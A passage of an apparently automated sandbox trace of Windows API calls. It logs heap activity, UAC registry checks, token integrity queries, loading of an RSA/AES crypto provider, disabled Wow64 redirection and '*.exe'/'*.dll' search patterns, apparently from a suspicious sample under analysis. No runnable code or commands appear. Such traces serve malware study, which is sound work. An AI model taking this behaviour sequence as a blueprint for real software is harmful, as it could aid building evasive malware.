[0247.650] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d2c8 [0247.650] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c558 [0247.650] RegEnumValueA (in: hKey=0x34, dwIndex=0xf, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.650] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d2d8 [0247.650] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c438 [0247.650] RegEnumValueA (in: hKey=0x34, dwIndex=0x10, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0247.650] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c5a0 [0247.650] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c5a0) returned 1 [0247.650] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c5a0 [0247.650] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c5a0) returned 1 [0247.650] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c5a0 [0247.650] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c5a0) returned 1 [0247.650] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c5a0 [0247.650] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c5a0) returned 1 [0247.650] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c5a0 [0247.650] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c5a0) returned 1 [0247.650] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c5a0 [0247.650] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c5a0) returned 1 [0247.650] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c5a0 [0247.650] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c5a0) returned 1 [0247.650] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c5a0 [0247.650] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c5a0) returned 1 [0247.650] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c5a0 [0247.650] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c0d8) returned 1 [0247.650] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d1f8) returned 1 [0247.650] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c240) returned 1 [0247.650] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d1e8) returned 1 [0247.651] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0247.651] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d208) returned 1 [0247.651] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c168) returned 1 [0247.651] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d218) returned 1 [0247.651] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c1b0) returned 1 [0247.653] RegQueryValueExA (in: hKey=0x34, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x18fb9c, lpData=0x0, lpcbData=0x18fba4*=0x0 | out: lpType=0x18fb9c*=0x4, lpData=0x0, lpcbData=0x18fba4*=0x4) returned 0x0 [0247.654] RegQueryValueExA (in: hKey=0x34, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x18fb9c, lpData=0xa8c480, lpcbData=0x18fba4*=0x4 | out: lpType=0x18fb9c*=0x4, lpData=0xa8c480*=0x1, lpcbData=0x18fba4*=0x4) returned 0x0 [0247.654] RegCloseKey (hKey=0x34) returned 0x0 [0247.654] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fc14 | out: TokenHandle=0x18fc14*=0x34) returned 1 [0247.654] GetTokenInformation (in: TokenHandle=0x34, TokenInformationClass=0x14, TokenInformation=0x18fc10, TokenInformationLength=0x4, ReturnLength=0x18fc0c | out: TokenInformation=0x18fc10, ReturnLength=0x18fc0c) returned 1 [0247.654] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fc00 | out: TokenHandle=0x18fc00*=0x90) returned 1 [0247.654] GetTokenInformation (in: TokenHandle=0x90, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x18fbfc | out: TokenInformation=0x0, ReturnLength=0x18fbfc) returned 0 [0247.654] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c5a0 [0247.654] GetTokenInformation (in: TokenHandle=0x90, TokenInformationClass=0x19, TokenInformation=0xa8c5a0, TokenInformationLength=0x14, ReturnLength=0x18fbfc | out: TokenInformation=0xa8c5a0, ReturnLength=0x18fbfc) returned 1 [0247.654] GetSidSubAuthorityCount (pSid=0xa8c5a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0xa8c5a9 [0247.654] GetSidSubAuthority (pSid=0xa8c5a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0xa8c5b0 [0247.654] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c5a0) returned 1 [0247.654] NtClose (Handle=0x90) returned 0x0 [0247.654] GetSystemInfo (in: lpSystemInfo=0x18fd48 | out: lpSystemInfo=0x18fd48*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0x1, dwNumberOfProcessors=0x1, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0247.655] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x6c) returned 0xa8b860 [0247.655] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c5a0 [0247.655] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0x90 [0247.655] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c480 [0247.655] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c438 [0247.655] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c558 [0247.655] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c510 [0247.655] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x5000) returned 0x940048 [0247.655] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c4c8 [0247.655] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c4c8) returned 1 [0247.656] CryptAcquireContextW (in: phProv=0x18fd5c, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fd5c*=0x53d990) returned 1 [0247.708] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x940048) returned 1 [0247.708] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8b8d8 [0247.708] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8b960 [0247.708] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c4c8 [0247.709] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8b9e8 [0247.709] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8ba70 [0247.709] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c3f0 [0247.709] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8baf8 [0247.709] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c3a8 [0247.709] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x5000) returned 0x940048 [0247.709] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c360 [0247.709] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c360) returned 1 [0247.709] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0247.737] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x940048) returned 1 [0247.737] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x53ad78, lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10 | out: lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10) returned 1 [0247.737] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c360 [0247.737] CreateEventA (lpEventAttributes=0x18fd58, bManualReset=1, bInitialState=0, lpName="") returned 0xdc [0247.737] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c360) returned 1 [0247.737] GetLastError () returned 0x0 [0247.737] LocalFree (hMem=0x53ad78) returned 0x0 [0247.737] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c360 [0247.737] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x5000) returned 0x940048 [0247.737] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c318 [0247.738] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c318) returned 1 [0247.738] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0247.740] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x940048) returned 1 [0247.740] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x53ad78, lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10 | out: lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10) returned 1 [0247.740] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c318 [0247.740] CreateEventA (lpEventAttributes=0x18fd58, bManualReset=1, bInitialState=0, lpName="") returned 0xe0 [0247.740] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c318) returned 1 [0247.740] GetLastError () returned 0x0 [0247.740] LocalFree (hMem=0x53ad78) returned 0x0 [0247.740] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c318 [0247.740] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x5000) returned 0x940048 [0247.740] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c2d0 [0247.740] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c2d0) returned 1 [0247.740] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0247.742] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x940048) returned 1 [0247.742] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x53ad78, lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10 | out: lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10) returned 1 [0247.742] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c2d0 [0247.742] CreateEventA (lpEventAttributes=0x18fd58, bManualReset=1, bInitialState=0, lpName="") returned 0xe4 [0247.742] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c2d0) returned 1 [0247.742] GetLastError () returned 0x0 [0247.742] LocalFree (hMem=0x53ad78) returned 0x0 [0247.742] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x2800) returned 0x940048 [0247.742] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8bb80 [0247.742] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c2d0 [0247.743] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd8c | out: OldValue=0x18fd8c*=0x0) returned 1 [0247.743] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x2800) returned 0x942850 [0247.743] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0247.743] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0247.743] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x10) returned 0xa8d5e8 [0247.743] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d2d8 [0247.743] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0247.743] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c1f8 [0247.743] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c1f8) returned 1 [0247.743] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0247.743] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d2d8) returned 1 [0247.743] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d5e8) returned 1 [0247.743] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x942850) returned 1 [0247.743] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x2800) returned 0x942850 [0247.743] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0247.743] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0247.743] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0247.743] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x10) returned 0xa8d5e8 [0247.743] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d2d8 [0247.743] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c1f8 [0247.743] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0247.743] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d2c8 [0247.743] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0247.744] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x10) returned 0xa8d600 [0247.744] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d2b8 [0247.744] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c1b0 [0247.744] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d2a8 [0247.744] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c168 [0247.744] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c1f8) returned 1 [0247.744] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d2d8) returned 1 [0247.744] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0247.744] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d2c8) returned 1 [0247.744] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d5e8) returned 1 [0247.744] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0247.744] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0247.744] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0247.744] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0247.744] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x10) returned 0xa8d5e8 [0247.744] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d2c8 [0247.744] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0247.744] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d2d8 [0247.744] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c1f8 [0247.744] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c1b0) returned 1 [0247.744] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d2b8) returned 1 [0247.744] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c168) returned 1 [0247.744] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d2a8) returned 1 [0247.744] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d600) returned 1 [0247.744] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x10) returned 0xa8d600 [0247.745] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d2a8 [0247.745] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c168 [0247.745] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d2b8 [0247.745] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c1b0 [0247.745] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0247.745] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d2c8) returned 1 [0247.745] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c1f8) returned 1 [0247.745] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d2d8) returned 1 [0247.745] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d5e8) returned 1 [0247.745] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x10) returned 0xa8d5e8 [0247.745] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d2d8 [0247.745] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c1f8 [0247.745] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d2c8 [0247.745] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0247.745] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c168) returned 1 [0247.745] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d2a8) returned 1 [0247.745] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c1b0) returned 1 [0247.745] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d2b8) returned 1 [0247.745] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d600) returned 1 [0247.745] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x942850) returned 1 [0247.745] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xa8c1f8, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0247.745] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8d9d0 [0247.745] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xa8c1f8, cbMultiByte=5, lpWideCharStr=0xa8d9d0, cchWideChar=5 | out: lpWideCharStr="*.exe") returned 5 [0247.745] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8da58 [0247.745] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d9d0) returned 1 [0247.745] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x10) returned 0xa8d600 [0247.746] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d2b8 [0247.746] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8d9d0 [0247.746] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8da58) returned 1 [0247.746] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xa8c288, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0247.746] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8da58 [0247.746] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xa8c288, cbMultiByte=5, lpWideCharStr=0xa8da58, cchWideChar=5 | out: lpWideCharStr="*.dll") returned 5 [0247.746] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8dae0 [0247.746] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8da58) returned 1 [0247.746] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d2a8 [0247.746] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8da58 [0247.746] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8dae0) returned 1 [0247.746] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c1f8) returned 1 [0247.746] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d2d8) returned 1 [0247.746] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0247.746] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d2c8) returned 1 [0247.746] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d5e8) returned 1 [0247.746] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x2800) returned 0x942850 [0247.746] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0247.746] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0247.746] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0247.746] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x10) returned 0xa8d5e8 [0247.746] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d2c8 [0247.746] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c1f8 [0247.746] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0247.746] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0247.746] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d2d8 [0247.746] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c1b0 [0247.746] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0247.746] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0247.746] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d298 [0247.747] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c168 [0247.747] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0247.747] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0247.747] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d288 [0247.747] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0247.747] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0247.747] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0247.747] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x20) returned 0xa8bc08 [0247.747] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d5e8) returned 1 [0247.747] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d278 [0247.747] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c240 [0247.747] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0247.747] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0247.747] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d268 [0247.747] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c0d8 [0247.747] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0247.747] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d258 [0247.747] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0247.747] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x20) returned 0x945058 [0247.747] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d248 [0247.747] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c5e8 [0247.747] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d238 [0247.747] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c630 [0247.747] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d228 [0247.747] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c678 [0247.747] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d218 [0247.747] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c6c0 [0247.747] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d208 [0247.747] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c708 [0247.747] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d1e8 [0247.748] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c750 [0247.748] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8) returned 0xa8d1f8 [0247.748] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c798 [0247.748] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c1f8) returned 1 [0247.748] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8d2c8) returned 1 [0247.748] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c1b0) 